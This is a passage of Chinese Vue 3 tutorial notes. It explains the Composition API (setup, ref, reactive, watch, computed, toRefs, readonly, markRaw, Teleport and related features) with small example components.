32    </script>
```

7.4 setup

1. setup 是一个函数，vue3 中新增的配置项。
2. 组件中所用到的 data、methods、computed、watch、生命周期钩子....等，都要配置到 setup 中。
3. setup 函数的返回值：
   (1) 返回一个对象，该对象的属性、方法等均可以在模板语法中使用，例如插值语法。
   (2) 返回一个渲染函数，从而执行渲染函数，渲染页面。
      ① import {h} from ‘vue’ （引入渲染函数）
      ② return ()=>{h(‘h2’, ‘欢迎大家学习 Vue3’)}
4. vue3 中可以编写 vue2 语法，向下兼容的。但是不建议。更不建议混用。

 Copyright©动力节点

App.vue

src > App.vue > { } "App.vue" > template

```vue
<template>
  <h1>欢迎大家学习Vue3</h1>
  <h2>姓名：{{name}}</h2>
  <h2>年龄：{{age}}</h2>
  <button @click="sayHi">SAY HI</button>
</template>
<script>
  import {h} from 'vue'
  export default {
    name : 'App',
    setup(){
      // 数据
      let name = '张三'
      let age = 20
      // 方法
      function sayHi(){
        alert(`姓名：${name}，年龄：${age}`)
      }
      // 返回一个对象
      /* return {
        name : name,
        age : age,
        sayHi : sayHi
      } */

      // return {name, age, sayHi}
      // 返回一个渲染函数
      /* return function(){
        return h('h1', '大家好，我是动力节点老杜')
      } */

      return () => h('h1', '大家好，我是动力节点老杜')
    }
  }
</script>
```

5. setup 中的 this 是 undefined。所以 setup 中 this 是不可用的。

 Copyright©动力节点

7.5 ref 函数（实现响应式）

7.5.1 简单数据的响应式

1. ref 是一个函数。完成响应式的。
2. ref 使用时需要 import
   (1) import {ref} from ‘vue’
3. 凡是要实现响应式的 data，需要使用 ref 函数进行包裹
   (1) let name = ref(‘李四’)
   (2) 输出 name，你会发现，它是 **RefImpl** 对象（引用实现的实例对象，简称引用对象），在这个引用对象当中有一个 value 属性，value 属性的实现原理是：Object.defineProperty，通过它实现了响应式处理。
4. 修改数据的话必须这样做：name.value = ‘王五’

```
App.vue ×
src > App.vue > {} "App.vue" > script > default > setup
1  <template>
2    <h2>姓名：{{nameRefImpl}}</h2>
3    <h2>年龄：{{ageRefImpl}}</h2>
4    <button @click="modifyInfo">修改用户信息</button>
5  </template>
6
7  <script>
8    import {ref} from 'vue'
9    export default {
10     name : 'App',
11     setup(){
12       // 数据
13       // 通过ref函数，将数据包裹成一个RefImpl对象。
14       // RefImpl对象的value属性实现了响应式，底层实现基于Object.defineProperty。
15       let nameRefImpl = ref('李四')
16       let ageRefImpl = ref(20)
17       console.log(nameRefImpl)
18       console.log(ageRefImpl)
19       // 函数
20       function modifyInfo(){
21         nameRefImpl.value = '王五'
22         ageRefImpl.value = 30
23       }
24       // 返回对象
25       return {nameRefImpl, ageRefImpl, modifyInfo}
26     }
27   }
28 </script>
```

```
▼RefImpl {__v_isShallow: false, dep: undefined, __v_isRef: true, _rawValue: '李四', _value: '李四'}
  ▶dep: Set(1) {ReactiveEffect}
   __v_isRef: true
   __v_isShallow: false
   _rawValue: "李四"
   _value: "李四"
   value: (…)
  ▼[[Prototype]]: Object
    ▶constructor: class
     value: (…)
    ▶get value: ƒ value()
    ▶set value: ƒ value(newVal)
    ▶[[Prototype]]: Object
▼RefImpl {__v_isShallow: false, dep: undefined, __v_isRef: true, _rawValue: 20, _value: 20}
  ▶dep: Set(1) {ReactiveEffect}
   __v_isRef: true
   __v_isShallow: false
   _rawValue: 20
   _value: 20
   value: (…)
  ▼[[Prototype]]: Object
    ▶constructor: class
     value: (…)
    ▶get value: ƒ value()
    ▶set value: ƒ value(newVal)
    ▶[[Prototype]]: Object
>
```

 Copyright©动力节点

7.5.2 对象数据的响应式

```vue
App.vue
src > App.vue > {} "App.vue" > script > default > setup > modifyInfo
<template>
  <h2>姓名：{{nameRefImpl}}</h2>
  <h2>年龄：{{ageRefImpl}}</h2>
  <h2>城市：{{addrRefImpl.city}}</h2>
  <h2>街道：{{addrRefImpl.street}}</h2>
  <button @click="modifyInfo">修改用户信息</button>
</template>

<script>
  import {ref} from 'vue'
  export default {
    name : 'App',
    setup(){
      // 数据
      // 通过ref函数，将数据包裹成一个RefImpl对象。
      // RefImpl对象的value属性实现了响应式，底层实现基于Object.defineProperty。
      let nameRefImpl = ref('动力节点')
      let ageRefImpl = ref(14)
      let addrRefImpl = ref({
        city : '北京',
        street : '大兴区凉水河二街'
      })
      // 函数
      function modifyInfo(){
        nameRefImpl.value = '王五'
        ageRefImpl.value = 30
        addrRefImpl.value.city = '河北'  // addrRefImpl.value 获取了一个Proxy对象。通过它完成了响应式。
        addrRefImpl.value.street = '丛台二路'
      }
      // 返回对象
      return {nameRefImpl, ageRefImpl, addrRefImpl, modifyInfo}
    }
  }
</script>
```

重点：如果 ref 函数中是一个对象，例如：ref({})，底层会为这个对象{}生成一个 Proxy 代理对象。通过这个代理对象完成了响应式。

如果代码是这样写，如下，实际上没有用到 Proxy，还是使用了 Object.defineProperty 完成的响应式：

```
23    // 函数
24    function modifyInfo(){
25      nameRefImpl.value = '王五'
26      ageRefImpl.value = 30
27
28      // 通过Object.defineProperty完成的响应式
29      addRefImpl.value = {
30        city : '河北',
31        street : '丛台二路'
32      }
33
34      // 通过Proxy完成的响应式
35      addrRefImpl.value.city = '河北'
36      addrRefImpl.value.street = '丛台二路'
37
38    }
```

如果代码是这样写，如下，就是使用了 Proxy 完成的响应式：

```
23    // 函数
24    function modifyInfo(){
25      nameRefImpl.value = '王五'
26      ageRefImpl.value = 30
27
28      // 通过Object.defineProperty完成的响应式
29      addRefImpl.value = {
30        city : '河北',
31        street : '丛台二路'
32      }
33
34      // 通过Proxy完成的响应式
35      addrRefImpl.value.city = '河北'
36      addrRefImpl.value.street = '丛台二路'
37
38    }
39    // 返回对象
```

7.6 Vue3 中专门为对象做响应式的核心函数：reactive

以上代码中的 Proxy 是怎么创建的？底层是通过调用 reactive 函数来完成的。

当然这个函数我们也可以自己使用。

注意：这个函数不能为简单类型服务，只能为对象类型服务。

```vue
App.vue
src > App.vue > {} "App.vue" > script
<template>
  <h2>姓名: {{nameRefImpl}}</h2>
  <h2>年龄: {{ageRefImpl}}</h2>
  <h2>城市: {{addrProxy.city}}</h2>
  <h2>街道: {{addrProxy.street}}</h2>
  <button @click="modifyInfo">修改用户信息</button>
</template>

<script>
  import {ref, reactive} from 'vue'
  export default {
    name : 'App',
    setup(){
      let nameRefImpl = ref('动力节点')
      let ageRefImpl = ref(14)
      let addrProxy = reactive({
        city : '北京',
        street : '大兴区凉水河二街'
      })
      console.log(addrProxy)
      // 函数
      function modifyInfo(){
        nameRefImpl.value = '王五'
        ageRefImpl.value = 30

        // 通过Proxy完成的响应式
        addrProxy.city = '河北'
        addrProxy.street = '丛台二路'
      }
      // 返回对象
      return {nameRefImpl, ageRefImpl, addrProxy, modifyInfo}
    }
  }
</script>
```

注意：reactive 为响应式做了递归处理。对象中的对象中的对象的属性，也是响应式的。

重点 1：

并且数组如果使用 reactive 函数包裹的话，数组中的数据，在通过下标去修改的时候，也是支持响应式的。（这个在 Vue2 中是不支持的。）

重点 2：

在开发中一般很少使用 ref，一般会使用 reactive。即使是简单类型的数据，也会将其存放到一个对象中，使用 reactive 函数进行包括。

7.7 Vue3 中的 props

给组件 User 传数据

```vue
<template>
  <User name="jack" age="20"/>
</template>

<script>
  import User from './components/User.vue'
  export default {
    name : 'App',
    components : {User}
  }
</script>
```

User 组件使用 props 接收数据

```vue
<template>
<h2>姓名: {{name}}</h2>
<h2>年龄: {{age}}</h2>
</template>

<script>
    export default {
        name : 'User',
        // 使用props声明接收
        props : ['name', 'age'],
        // 那么这个props在setup中如何使用?
        // setup函数的第一个参数就是props
        setup(props){
            console.log(props)
        }
    }
</script>
```

在 setup 函数中如何使用 props?

setup 的第一个参数就是 props。可以直接拿来用。

7.8 Vue3 的生命周期

vue2 的生命周期图：

动力节点

* template compilation is performed ahead-of-time if using
a build step, e.g. single-file components

vue3 的生命周期图：

动力节点

Renderer
encounters component
渲染相遇组件
安装组合式API
setup
(Composition API)
beforeCreate
初始化选项API
Init Options API
created
有没有预编译模板
Has
pre-compiled
template?
NO 没有
Compile template
on-the-fly
YES 有
动态编译模板
beforeMount
初始渲染创建和插入DOM节点
initial render
create & insert DOM nodes
beforeUpdate
mounted
when data
changes
挂载完毕
Mounted
re-render
and patch
重新渲染和修补
when
component
is unmounted
updated
beforeUnmount
卸载完成
unmounted
Unmounted

1. vue2 中
   (1) beforeDestroy
   (2) destroyed
2. vue3 中
   (1) beforeUnmount
   (2) unmounted
3. vue3 中仍然可以使用配置项方式提供生命周期钩子函数。但也可以使用组合式 API 方式。如果采用组合式 API 方式，API 名称规律如下：
   (1) beforeCreate => setup
   (2) created => setup
   (3) beforeMount => onBeforeMount
   (4) mounted => onMounted
   (5) beforeUpdate => onBeforeUpdate
   (6) updated => onUpdated
   (7) beforeUnmount => onBeforeUnmount
   (8) unmounted => onUnmounted
4. 当然如果需要使用 beforeCreate 和 created 钩子，可以采用 vue2 的语法：配置项形式。vue2 和 vue3 语法可以共存，但不建议。

7.9 Vue3 中的自定义事件

绑定事件

动力节点

App.vue

src > App.vue > {} "App.vue" > script

```vue
<template>
  <!-- 给组件绑定自定义事件event1 -->
  <User @event1="showInfo"></User>
</template>

<script>
  import User from './components/User.vue'
  export default {
    name : 'App',
    components : {User},
    setup(){
      // 事件发生后的回调函数
      function showInfo(name, age){
        console.log(name, age)
      }
      return {
        showInfo
      }
    }
  }
</script>
```

触发事件

User.vue

src > components > User.vue > {} "User.vue" > script

```vue
<template>
    <button @click="triggerEvent1">触发event1事件</button>
</template>

<script>
    export default {
        name : 'User',
        // 增强可读性。
        emits : ['event1'],
        setup(props, context){
            // 函数
            function triggerEvent1(){
                // 触发event1事件
                context.emit('event1', 'jack', 30)
            }

            return {
                triggerEvent1
            }
        }
    }
</script>
```

 Copyright©动力节点

7.10 Vue3 的全局事件总线

1. 安装 mitt
   (1) npm i mitt
2. 封装 event-bus.js 文件
   (1)

   (2)

3. 绑定事件

动力节点

App.vue

src > App.vue > {} "App.vue" > script

```vue
<template>
  <User/>
</template>

<script>
  import { onMounted } from 'vue'
  import emitter from './utils/event-bus'
  import User from './components/User.vue'
  export default {
    name : 'App',
    components : {User},
    setup(){
      // 事件发生后的回调函数
      function showInfo(user){
        console.log(user)
      }
      // 在全局事件总线上绑定事件
      onMounted(() => {
        emitter.on('event1', showInfo)
      })
      return {
        showInfo
      }
    }
  }
</script>
```

4. 触发事件

User.vue

src > components > User.vue > {} "User.vue" > script > default

```vue
<template>
    <button @click="triggerEvent1">触发全局事件总线上的event1事件</button>
</template>

<script>
    import emitter from '../utils/event-bus'
    export default {
        name : 'User',
        // 增强可读性。
        emits : ['event1'],
        setup(){
            // 函数
            function triggerEvent1(){
                // 触发全局事件总线的event1事件
                emitter.emit('event1', {name:'jack', age:20})
            }

            return {
                triggerEvent1
            }
        }
    }
</script>
```

5. 移除所有事件和指定事件

```vue
<template>
    <button @click="triggerEvent1">触发全局事件总线上的event1事件</button>
    <button @click="clearEvent">解除总线上所有绑定的事件</button>
    <button @click="clearEvent1">解除总线上绑定的event1事件</button>
</template>
<script>
    import emitter from '../utils/event-bus'
    export default {
        name : 'User',
        // 增强可读性。
        emits : ['event1'],
        setup(){
            // 函数
            function triggerEvent1(){
                // 触发全局事件总线的event1事件
                emitter.emit('event1', {name:'jack', age:20})
            }
            function clearEvent(){
                emitter.all.clear()
            }

            function clearEvent1(){
                emitter.off('event1')
            }
            return {
                triggerEvent1,
                clearEvent,
                clearEvent1
            }
        }
    }
</script>
```

7.11 vue3 的计算属性

import {computed} from 'vue' **//computed 是一个组合式的 API**。

```
setup(){
    // 简写
    let reversedName = computed(()=>{

    })

    // 完整写法
    let reversedName = computed({
        get(){},
        set(value){}
    })
}
```

App.vue

src > App.vue > {} "App.vue" > script

```vue
<template>
  姓名：<input type="text" v-model="data.name">
  <br><br>
  反转后的姓名：<input type="text" v-model="reversedName">
</template>
<script>
  import {computed, reactive} from 'vue'
  export default {
    name : 'App',
    setup(){
      // 数据（这个数据要想关联计算属性，就必须是响应式的数据）
      let data = reactive({
        name : ''
      })
      // 计算属性：简写
      /* let reversedName = computed(() => {
        return data.name.split('').reverse().join('')
      }) */

      // 计算属性：完整写法
      // 计算属性最重要的特征是：只要计算属性关联的数据发生变化，计算属性的回调函数就会执行。
      // 所以计算属性关联的数据必须是具有响应式的。
      let reversedName = computed({
        get(){
          return data.name.split('').reverse().join('')
        },
        set(value){
          data.name = value.split('').reverse().join('')
        }
      })
      // 返回
      return {data,reversedName}
    }
  }
</script>
```

计算属性最重要的特征是：只要计算属性关联的数据发生变化，计算属性的回调函数就会执行。所以计算属性关联的数据必须是具有响应式的。

7.12 自定义 hook 函数

将组合式 API 拿出来，封装成一个函数，在需要复用的位置，使用这个 hook 函数。
一般创建一个 hooks 目录，在 hooks 目录当中放 hook 函数。
代码复用。

资源管理器
VUE3_PRO_WITH_CREATEVUE
.vscode
01-回顾vue2的响应式处理
02-ES6新特性Proxy
03-Vue3的HelloWorld
04-初识setup
05-通过ref函数完成响应式
06-ref包裹对象实现响应式
07-reactive函数实现响应式
08-vue3中的props
09-vue3的生命周期
10-vue3的自定义事件
11-vue3的全局事件总线
12-vue3的计算属性
13-vue3侦听ref数据
14-vue3侦听reactive数据
15-ref包裹对象时的侦听
16-vue3新增的watchEffect组合式API
node_modules
public
src
assets
components
hooks
sum.js
App.vue
main.js
.gitignore
index.html
package-lock.json
package.json
README.md
vite.config.js
sum.js
src > hooks > sum.js > default
import {reactive} from 'vue'
export default function(){
// data
let data = reactive({
num1 : 0,
num2 : 0,
result : 0
})
// methods
function sum(){
data.result = data.num1 + data.num2
}
// 返回一个对象
return {data, sum}
}
自定义的钩子函数

在需要使用的位置导入：

```
App.vue ×
src > App.vue > {} "App.vue" > script
1  <template>
2    数字1: <input type="number" v-model="data.num1">
3    <br><br>
4    数字2: <input type="number" v-model="data.num2">
5    <br><br>
6    求和结果: {{data.result}}
7    <br><br>
8    <button @click="sum">求和</button>
9  </template>
10
11 <script>
12   // 导入钩子函数
13   import sum from './hooks/sum.js'
14   export default {
15     name : 'App',
16     setup(){
17       // 调用钩子函数
18       //let result = sum()
19       // 返回一个对象
20       //return result
21
22       return sum()
23     }
24   }
25 </script>
```

7.13 vue3 的监视属性

import {watch} from ‘vue’ **//watch 就是组合式 API**。

1. 监视 ref 定义的一个响应式数据
   (1) watch(数据, (newValue, oldValue)=>{})
2. 监视 ref 定义的多个响应式数据
   (1) watch(数据 1, (newValue, oldValue)=>{})
   (2) watch(数据 2, (newValue, oldValue)=>{})
   或者
   (3) watch([数据 1,数据 2], (newValue, oldValue)=>{})
3. immediate 在哪里写？
   (1) 在 watch 的第三个参数位置上使用一个对象：{immediate : true, deep:true}
4. 监视 reactive 定义的响应式数据。注意：oldValue 拿不到

(1) watch(数据, (newValue, oldValue)=>{})

5. 如果监视的 reactive 定义的响应式数据。强制开启了深度监视，配置 deep 无效。默认就是监视对象的全部属性。
6. 如果要监视对象中的某个属性怎么办？被监视的数据必须是一个函数，将要监视的数据返回
   (1) watch(()=>user.age, (newValue,oldValue)=>{})
7. 如果要监视对象中的某些属性怎么办？
   (1) watch([()=>user.age, ()=>user.name], (newValue,oldValue)=>{})
8. 如果要监视 reactive 定义的响应式数据中的某个属性，这个属性是一个对象形式，那么开启 deep:true 是可以的。
   (1) watch(()=>user.address, (newVal, oldVal)=>{})
9. 关于 ref 包裹对象时的 value
   (1) watch(name.value, (newVal, oldVal){}) //监视无效
   (2) watch(user.value, (newVal, oldVal)=>{})//监视有效
   (3) watch(user,(newVal, oldVal)=>{}, {deep:true}) // 深度监视生效

7.14 watchEffect 函数

1. watchEffect 函数里面直接写一个回调
   (1) 回调中用到哪个属性，当这个属性发生变化的时候，这个回调就会重新执行。
   (2) watchEffect(()=>{const a = data.counter1; const b = data.counter2 逻辑代码.....}) 当 counter1 和 counter2 被修改后，这个回调就会执行。
2. computed 和 watchEffect 的区别？
   (1) computed 注重返回结果。
   (2) watchEffect 注重逻辑处理。
3. 示例代码

App.vue ×

16-vue3新增的watchEffect组合式API > App.vue > {} "App.vue" > template

```vue
<template>
  <h2>计数器：{{data.counter1}}</h2>
  <button @click="data.counter1++">点我加1</button><hr>
  <h2>计数器：{{data.counter2}}</h2>
  <button @click="data.counter2++">点我加1</button><hr>
  <h2>计数器：{{data.counter3}}</h2>
  <button @click="data.counter3++">点我加1</button>
</template>
<script>
  import { reactive, watchEffect } from 'vue'
  export default {
    name : 'App',
    setup(){
      let data = reactive({
        counter1 : 1,
        counter2 : 100,
        counter3 : 1000
      })
      // 使用watchEffect这个组合式的API。
      // 作用：也是用来监视的。
      // watchEffect函数中直接跟一个回调函数即可。
      // 这个回调函数什么时候执行？一开始就先执行一次。然后函数体当中使用到了某个数据。
      // 这个使用到的数据只要发生变化，watchEffect中的回调函数一定会执行一次。
      watchEffect(() => {
        // 我这个回调函数当中使用到了data.counter1和data.counter3
        // 这个回调函数的执行实际是：只要counter1发生变化，或者counter3发生变化，这个回调函数都会执行。
        const a = data.counter1
        const b = data.counter3
        console.log(a, b)
      })
      // 返回一个对象
      return {data}
    }
  }
</script>
```

7.15 shallowReactive 和 shallowRef

浅层次的响应式。

shallowReactive：对象的第一层支持响应式，第二层就不再支持了。

shallowRef：只给基本数据类型添加响应式。如果是对象，则不会支持响应式。

以下是演示 shallowRef

 Copyright©动力节点

```vue
<template>
  <h1>计数器: {{data.counter}}</h1>
  <button @click="data.counter++">点我加1</button>
</template>

<script>
  import { shallowRef } from 'vue'
  export default {
    name : 'App',
    setup(){
      let data = shallowRef({
        counter : 1
      })
      console.log(data)
      return {data}
    }
  }
</script>
```

以下是演示 shallowReactive

App.vue

src > App.vue > {} "App.vue" > script > default > setup > data

```vue
<template>
  <h1>计数器: {{data.a.b.c.counter}}</h1>
  <button @click="data.a.b.c.counter++">点我加1</button>
</template>

<script>
  import { shallowReactive } from 'vue'
  export default {
    name : 'App',
    setup(){
      let data = shallowReactive({
        a : {
          b : {
            c : {
              counter : 1
            }
          }
        }
      })
      return {data}
    }
  }
</script>
```

7.16 组合式 API 和选项式 API 对比

组合式 API：Composition API
选项式 API：Options API

选项式 API：特点是 分散。

 Copyright©动力节点

```
10  export default {
11    name : 'App',
12    data : {
13      // 功能1的data
14      // 功能2的data
15      // 功能3的data
16      // ...
17    },
18    methods: {
19      // 功能1的methods
20      // 功能2的methods
21      // 功能3的methods
22      // ...
23    },
24    computed : {
25      // 功能1的computed
26      // 功能2的computed
27      // 功能3的computed
28      // ...
29    },
30    watch : {
31      // 功能1的watch
32      // 功能2的watch
33      // 功能3的watch
34      // ...
35    },
```

组合式 API：特点是 集中 （一个 hook 是一个独立的功能，一个 hook 中有自己的 data、methods、computed、watch）

```
JS hook1.js ×
src > utils > JS hook1.js > default
1  export default function() {
2      // 功能1的: data
3      // 功能1的: methods
4      // 功能1的: computed
5      // 功能1的: watch
6      // ...
7  }
```

```
JS hook2.js ×
src > utils > JS hook2.js > default
1  export default function() {
2      // 功能2的: data
3      // 功能2的: methods
4      // 功能2的: computed
5      // 功能2的: watch
6      // ...
7  }
```

 Copyright©动力节点

```
export default {
  name : 'App',

  setup(){
    // 调用hook1完成功能1
    // 调用hook2完成功能2
  },
```

7.17 深只读与浅只读

组合式 API：readonly 与 shallowReadonly

应用场景：其它组件传递过来的数据，如果不希望你修改，你最好加上只读，以防以后不小心改了人家的数据。

深只读：

动力节点

App.vue ×

src > App.vue > {} "App.vue" > template

```vue
<template>
  <h2>计数器1: {{counter1}}</h2>
  <button @click="counter1++">计数器加1</button>
  <hr>
  <h2>计数器2: {{counter2}}</h2>
  <button @click="counter2++">计数器加1</button>
  <hr>
  <h2>计数器3: {{a.b.counter3}}</h2>
  <button @click="a.b.counter3++">计数器加1</button>
</template>
<script>
  import { reactive, readonly, toRefs } from 'vue'
  export default {
    name : 'App',
    setup(){
      let data = reactive({
        counter1 : 1,
        counter2 : 100,
        a : {
          b : {
            counter3 : 1000
          }
        }
      })
      // 深只读
      data = readonly(data)
      return {...toRefs(data)}
    }
  }
</script>
```

浅只读：

```vue
<template>
  <h2>计数器1: {{counter1}}</h2>
  <button @click="counter1++">计数器加1</button>
  <hr>
  <h2>计数器2: {{counter2}}</h2>
  <button @click="counter2++">计数器加1</button>
  <hr>
  <h2>计数器3: {{a.b.counter3}}</h2>
  <button @click="a.b.counter3++">计数器加1</button>
</template>
<script>
  import { reactive, shallowReadonly, toRefs } from 'vue'
  export default {
    name : 'App',
    setup(){
      let data = reactive({
        counter1 : 1,
        counter2 : 100,
        a : {
          b : {
            counter3 : 1000
          }
        }
      })
      // 浅只读
      data = shallowReadonly(data)
      return {...toRefs(data)}
    }
  }
</script>
```

7.18 响应式数据的判断

isRef：检查某个值是否为 ref。

isReactive：检查一个对象是否是由 reactive() 或 shallowReactive() 创建的代理。
isProxy：检查一个对象是否是由 reactive()、readonly()、shallowReactive() 或 shallowReadonly() 创建的代理。
isReadonly：检查传入的值是否为只读对象。

7.19 toRef 和 toRefs

```
App.vue ×
src > App.vue > {} "App.vue" > template
1  <template>
2    <h2>计数器1: {{data.counter1}}</h2>
3    <button @click="data.counter1++">计数器加1</button>
4    <hr>
5    <h2>计数器2: {{data.counter2}}</h2>
6    <button @click="data.counter2++">计数器加1</button>
7    <hr>
8    <h2>计数器3: {{data.a.b.counter3}}</h2>
9    <button @click="data.a.b.counter3++">计数器加1</button>
10 </template>
11
12 <script>
13   import { reactive } from 'vue'
14   export default {
15     name : 'App',
16     setup(){
17       // data
18       let data = reactive({
19         counter1 : 1,
20         counter2 : 100,
21         a : {
22           b : {
23             counter3 : 1000
24           }
25         }
26       })
27       // 返回一个对象
28       return {
29         data
30       }
31     }
32   }
33 </script>
```

模板中的这个写法太麻烦。

通过以上写法，可以看到模板语法中都有“data.”，这个是可以改善的。
大家可以看一下，下面的这个改善是否可以？

```vue
<template>
  <h2>计数器1: {{counter1}}</h2>
  <button @click="counter1++">计数器加1</button>
  <hr>
  <h2>计数器2: {{counter2}}</h2>
  <button @click="counter2++">计数器加1</button>
  <hr>
  <h2>计数器3: {{counter3}}</h2>
  <button @click="counter3++">计数器加1</button>
</template>
<script>
  import { reactive } from 'vue'
  export default {
    name : 'App',
    setup(){
      // data
      let data = reactive({
        counter1 : 1,
        counter2 : 100,
        a : {
          b : {
            counter3 : 1000
          }
        }
      })
      // 返回一个对象
      return {
        counter1 : data.counter1,
        counter2 : data.counter2,
        counter3 : data.a.b.counter3
      }
    }
  }
</script>
```

我们发现这样修改是不行的。丢失了响应式。什么原因？主要原因是因为以上的这种写法等同于：

```
// 返回一个对象
return {
  counter1 : 1,
  counter2 : 100,
  counter3 : 1000
}
```

显然这种写法和响应式对象 data 无关了。

再修改为以下这样行不行？

```vue
<template>
  <h2>计数器1：{{counter1}}</h2>
  <button @click="counter1++">计数器加1</button>
  <hr>
  <h2>计数器2：{{counter2}}</h2>
  <button @click="counter2++">计数器加1</button>
  <hr>
  <h2>计数器3：{{counter3}}</h2>
  <button @click="counter3++">计数器加1</button>
</template>
<script>
  import { reactive, ref } from 'vue'
  export default {
    name : 'App',
    setup(){
      // data
      let data = reactive({
        counter1 : 1,
        counter2 : 100,
        a : {
          b : {
            counter3 : 1000
          }
        }
      })
      // 返回一个对象
      return {
        counter1 : ref(data.counter1),
        counter2 : ref(data.counter2),
        counter3 : ref(data.a.b.counter3)
      }
    }
  }
</script>
```

我们发现功能实现了。但是存在的问题是：data 不会变。例如：

怎么解决这个问题：toRef，它可以让数据具有响应式，并且修改 toRef 生成的对象时，还能关联更新 data：

```
App.vue
src > App.vue > {} "App.vue" > script > default > setup > counter3
1  <template>
2    <h2>{{data}}</h2>
3    <h2>计数器1: {{counter1}}</h2>
4    <button @click="counter1++">计数器加1</button>
5    <hr>
6    <h2>计数器2: {{counter2}}</h2>
7    <button @click="counter2++">计数器加1</button>
8    <hr>
9    <h2>计数器3: {{counter3}}</h2>
10   <button @click="counter3++">计数器加1</button>
11 </template>
12 <script>
13   import { reactive, ref,toRef } from 'vue'
14   export default {
15     name : 'App',
16     setup(){
17       // data
18       let data = reactive({
19         counter1 : 1,
20         counter2 : 100,
21         a : {
22           b : {
23             counter3 : 1000
24           }
25         }
26       })
27       // 返回一个对象
28       return {
29         data,
30         counter1 : toRef(data, 'counter1'),
31         counter2 : toRef(data, 'counter2'),
32         counter3 : toRef(data.a.b, 'counter3')
33       }
34     }
35   }
```

测试结果：

还有一个更简单的：toRefs

```vue
App.vue
src > App.vue > {} "App.vue" > script > default > setup
<template>
  <h2>{{data}}</h2>
  <h2>计数器1: {{counter1}}</h2>
  <button @click="counter1++">计数器加1</button>
  <hr>
  <h2>计数器2: {{counter2}}</h2>
  <button @click="counter2++">计数器加1</button>
  <hr>
  <h2>计数器3: {{a.b.counter3}}</h2>
  <button @click="a.b.counter3++">计数器加1</button>
</template>
<script>
  import { reactive, ref, toRef, toRefs } from 'vue'
  export default {
    name : 'App',
    setup(){
      // data
      let data = reactive({
        counter1 : 1,
        counter2 : 100,
        a : {
          b : {
            counter3 : 1000
          }
        }
      })
      // 返回一个对象
      return {
        data,
        ...toRefs(data)
      }
    }
  }
</script>
```

运行结果：

7.20 转换为原始&标记为原始

toRaw 与 markRaw

toRaw：将响应式对象转换为普通对象。只适用于 reactive 生成的响应式对象。

markRaw：标记某个对象，让这个对象永远都不具备响应式。比如在集成一些第三方库的时候，比如有一个巨大的只读列表，不让其具备响应式是一种性能优化。

toRaw:

动力节点

App.vue

src > App.vue > {} "App.vue" > script

```vue
<template>
  <h2>计数器1: {{counter1}}</h2>
  <button @click="counter1++">计数器加1</button>
  <hr>
  <h2>计数器2: {{counter2}}</h2>
  <button @click="counter2++">计数器加1</button>
  <hr>
  <h2>计数器3: {{a.b.counter3}}</h2>
  <button @click="a.b.counter3++">计数器加1</button>
  <hr>
  <button @click="getRawData">获取原始对象</button>
</template>
<script>
  import { reactive, toRaw, toRefs } from 'vue'
  export default {
    name : 'App',
    setup(){
      let data = reactive({
        counter1 : 1,
        counter2 : 100,
        a : {
          b : {
            counter3 : 1000
          }
        }
      })
      function getRawData(){
        let d = toRaw(data)
        d.counter1++
        console.log(d)
      }
      return {...toRefs(data), getRawData}
    }
  }
</script>
```

markRaw：

```
App.vue ×
src > App.vue > {} "App.vue" > script > default > setup > addCounter > counterObj
10    <hr>
11    <h2>计数器4: {{data.x}}</h2>
12    <button @click="changeCounter4">计数器加1</button><hr>
13    <button @click="getRawData">获取原始对象</button>
14    <button @click="addCounter">添加一个计数器</button>
15  </template>
16  <script>
17    import { markRaw, reactive, toRaw, toRefs } from 'vue'
18    export default {
19      name : 'App',
20      setup(){
21        let data = reactive({
22          counter1 : 1,
23          counter2 : 100,
24          a : {
25            b : {
26              counter3 : 1000
27            }
28          }
29        })
30        function getRawData(){
31          let d = toRaw(data)
32          d.counter1++
33          console.log(d)
34        }
35        function addCounter(){
36          let counterObj = {counter4 : 10000}
37          markRaw(counterObj)
38          data.x = counterObj
39        }
40        function changeCounter4(){
41          data.x.counter4++
42          console.log(data.x.counter4)
43        }
44        return {...toRefs(data), data, getRawData, addCounter, changeCounter4}
```

7.21 Fragment 组件

fragment 翻译为：碎片。片段。

在 Vue2 中每个组件必须有一个根标签。这样性能方面稍微有点问题，如果每一个组件必须有根标签，组件嵌套组件的时候，有很多无用的根标签。

在 Vue3 中每个组件不需要有根标签。实际上内部实现的时候，最终将所有组件嵌套好之后，最外层会添加一个 Fragment，用这个 fragment 当做根标签。这是一种性能优化策略。

7.22 Teleport 组件

teleport 翻译为：远距离传送。用于设置组件的显示位置。

App.vue

src > App.vue > { } "App.vue" > style

```vue
<template>
  <div class="s1">
    <h1>我是App组件</h1>
    <YeYe></YeYe>
  </div>
</template>

<script>
  import YeYe from './components/YeYe.vue'
  export default {
    name : 'App',
    components : {YeYe}
  }
</script>

<style lang="css" scoped>
  .s1 {
    width: 500px;
    height: 500px;
    background-color: aqua;
  }
</style>
```

YeYe.vue

src > components > YeYe.vue > { } "YeYe.vue" > script

```vue
<template>
    <div class="s2">
      <h1>我是爷爷组件</h1>
      <ErZi></ErZi>
    </div>
</template>

<script>
  import ErZi from './ErZi.vue'
  export default {
    name : 'YeYe',
    components  : {ErZi}
  }
</script>

<style lang="css" scoped>
  .s2 {
    width: 400px;
    height: 400px;
    background-color: bisque;
  }
</style>
```

 Copyright©动力节点

ErZi.vue

src > components > ErZi.vue > { } "ErZi.vue" > template > div.s3

```vue
<template>
    <div class="s3">
      <h1>我是儿子组件</h1>
      <SunZi></SunZi>
    </div>
</template>

<script>
  import SunZi from './SunZi.vue'
  export default {
    name : 'ErZi',
    components : {SunZi}
  }
</script>

<style lang="css" scoped>
  .s3 {
    width: 300px;
    height: 300px;
    background-color: blueviolet;
  }
</style>
```

SunZi.vue

src > components > SunZi.vue > { } "SunZi.vue" > style > .popUp

```vue
<template>
    <div class="s4">
      <h1>我是孙子组件</h1>
      <button @click="isShow = true">弹出窗口</button>
      <teleport to='body'>
        <div class="s" v-show="isShow">
          <div class="popUp">
            我是一个窗口
            <button @click="isShow = false">关闭窗口</button>
          </div>
        </div>
      </teleport>
    </div>
</template>
```

SunZi.vue ×

src > components > SunZi.vue > {} "SunZi.vue" > style > .popUp

```
16  <script>
17    import {ref} from 'vue'
18    export default {
19      name : 'SunZi',
20      setup(){
21        let isShow = ref(false)
22        return {isShow}
23      }
24    }
25  </script>
26
27  <style lang="css" scoped>
28    .s4 {
29      width: 200px;
30      height: 200px;
31      background-color: cadetblue;
32    }
33    .popUp {
34      width: 300px;
35      height: 300px;
36      background-color: chartreuse;
37    }
38    .s {
39      background-color: darkgray;
40      opacity: 95%;
41      position: absolute;
42      top: 0;
43      bottom: 0;
44      left: 0;
45      right: 0;
46    }
47  </style>
```

